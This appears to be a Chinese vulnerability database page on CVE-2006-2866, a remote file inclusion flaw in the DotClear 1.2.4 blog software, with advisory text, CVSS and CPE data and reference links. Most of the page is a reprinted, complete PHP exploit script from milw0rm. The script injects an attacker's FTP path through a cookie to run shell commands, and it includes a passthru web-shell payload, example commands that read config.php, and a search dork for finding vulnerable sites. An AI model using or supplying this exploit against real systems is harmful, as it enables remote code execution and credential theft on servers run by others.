CVE-2006-2866
CVSS5.1
发布时间 :2006-06-06 16:06:00
修订时间 :2011-03-07 21:37:09
NMCOE    

[原文]PHP remote file inclusion vulnerability in layout/prepend.php in DotClear 1.2.4 and earlier allows remote attackers to execute arbitrary PHP code via a FTP URL in the blog_dc_path parameter, which passes file_exists() and is_dir() tests on PHP 5.


[CNNVD]DotClear prepend.php 远程文件包含漏洞(CNNVD-200606-132)

        dotClear是一个的基于PHP和MySQL的Blog系统。
        dotClear的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        在dotClear的layout/prepend.php文件78-104行:
        ...
        # Variable de conf
        $theme_path = $blog_dc_path.'/themes/';
        $theme_uri = dc_app_url.'/themes/';
        $img_path = dc_img_url;
        # D?finition du th?me et de la langue
        $__theme = dc_theme;
        $__lang = dc_default_lang;
        # Ajout des functions.php des plugins
        $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
        foreach ($objPlugins->getFunctions() as $pfunc) {
         require_once $pfunc;
        }
        # D?finition du template
        if (!is_dir($theme_path.$__theme)) {
         header('Content-type: text/plain');
         echo 'Le th?me '.$__theme.' n\'existe pas';
         exit;
        }
        if (file_exists($theme_path.$__theme.'/template.php')) {
         $dc_template_file = $theme_path.$__theme.'/template.php';
        } else {
         $dc_template_file = $theme_path.'default/template.php';
        }
        echo $dc_template_file;
        # Prepend du template s'il existe
        if (file_exists(dirname($dc_template_file).'/prepend.php')) {
         require dirname($dc_template_file).'/prepend.php';
        }
        ...
        没有正确的过滤$blog_dc_path变量。在PHP5中,由于is_dir()和file_exists()函数支持ftp wrapper,因此攻击者可以从远程资源在themes/default/文件夹中包含任意prepend.php文件并执行PHP代码。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:dotclear:dotclear:1.2.4DotClear 1.2.4
cpe:/a:dotclear:dotclear:1.2.2DotClear 1.2.2
cpe:/a:dotclear:dotclear:1.2.1DotClear 1.2.1
cpe:/a:dotclear:dotclear:1.2.3DotClear 1.2.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2866
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2866
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200606-132
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/2137
(UNKNOWN)  VUPEN  ADV-2006-2137
http://www.securityfocus.com/bid/18259
(UNKNOWN)  BID  18259
http://www.securityfocus.com/archive/1/archive/1/435873/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060603 DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion
http://secunia.com/advisories/20437
(VENDOR_ADVISORY)  SECUNIA  20437
http://retrogod.altervista.org/dotclear_124_php5_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/dotclear_124_php5_xpl.html
http://xforce.iss.net/xforce/xfdb/26917
(UNKNOWN)  XF  dotclear-blogdcpath-file-include(26917)
http://securityreason.com/securityalert/1053
(UNKNOWN)  SREASON  1053

- 漏洞信息

DotClear prepend.php 远程文件包含漏洞
中危 输入验证
2006-06-06 00:00:00 2006-06-07 00:00:00
远程  
        dotClear是一个的基于PHP和MySQL的Blog系统。
        dotClear的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        在dotClear的layout/prepend.php文件78-104行:
        ...
        # Variable de conf
        $theme_path = $blog_dc_path.'/themes/';
        $theme_uri = dc_app_url.'/themes/';
        $img_path = dc_img_url;
        # D?finition du th?me et de la langue
        $__theme = dc_theme;
        $__lang = dc_default_lang;
        # Ajout des functions.php des plugins
        $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
        foreach ($objPlugins->getFunctions() as $pfunc) {
         require_once $pfunc;
        }
        # D?finition du template
        if (!is_dir($theme_path.$__theme)) {
         header('Content-type: text/plain');
         echo 'Le th?me '.$__theme.' n\'existe pas';
         exit;
        }
        if (file_exists($theme_path.$__theme.'/template.php')) {
         $dc_template_file = $theme_path.$__theme.'/template.php';
        } else {
         $dc_template_file = $theme_path.'default/template.php';
        }
        echo $dc_template_file;
        # Prepend du template s'il existe
        if (file_exists(dirname($dc_template_file).'/prepend.php')) {
         require dirname($dc_template_file).'/prepend.php';
        }
        ...
        没有正确的过滤$blog_dc_path变量。在PHP5中,由于is_dir()和file_exists()函数支持ftp wrapper,因此攻击者可以从远程资源在themes/default/文件夹中包含任意prepend.php文件并执行PHP代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.dotclear.net/
        

- 漏洞信息 (1869)

DotClear <= 1.2.4 (prepend.php) Arbitrary Remote Inclusion Exploit (EDBID:1869)
php webapps
2006-06-03 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusion\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: \"propulsé par DotClear\" \"fil atom\" \"fil rss\" +commentaires\r\n\r\n";

/*
works with PHP5
register_globals=On,
allow_url_fopen=On
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to dotclear\r\n";
echo "ftp:       a ftp location (without ending slash)\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com cat ./../conf/config.php\r\n";
echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com/somedir ls -la -p81\r\n";
echo "php ".$argv[0]." target.com / ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n";
echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
echo "?>\r\n";
die;
}
/*
  software site: http://www.dotclear.net/

  vulnerable code in layout/prepend.php near lines 78-104:

...
# Variable de conf
$theme_path = $blog_dc_path.'/themes/';
$theme_uri = dc_app_url.'/themes/';
$img_path = dc_img_url;

# Définition du thème et de la langue
$__theme = dc_theme;
$__lang = dc_default_lang;

# Ajout des functions.php des plugins
$objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
foreach ($objPlugins->getFunctions() as $pfunc) {
	require_once $pfunc;
}

# Définition du template
if (!is_dir($theme_path.$__theme)) {
	header('Content-type: text/plain');
	echo 'Le thème '.$__theme.' n\'existe pas';
	exit;
}

if (file_exists($theme_path.$__theme.'/template.php')) {
	$dc_template_file = $theme_path.$__theme.'/template.php';
} else {
	$dc_template_file = $theme_path.'default/template.php';
}
echo $dc_template_file;
# Prepend du template s'il existe
if (file_exists(dirname($dc_template_file).'/prepend.php')) {
	require dirname($dc_template_file).'/prepend.php';
}
...


$blog_dc_path var is not sanitized before to be used to include files,
on PHP5, because is_dir() and file_exists() funcs support ftp wrappers,
you can include an arbitrary prepend.php file in a themes/default/ folder
from a remote resource, poc:

http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:password@somesite.com&cmd=ls%20-la

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$loc=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$loc=urlencode($loc);
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, log this
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"*deli*"))
{echo "exploit succeeded...\r\n";
 $temp=explode("*deli*",$html);
 die($temp[1]);
}
else
{echo "exploit failed...\r\n";
 //debug
 echo $html;
}
?>

# milw0rm.com [2006-06-03]
		

- 漏洞信息

25977
DotClear layout/prepend.php log_dc_path Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-06-03 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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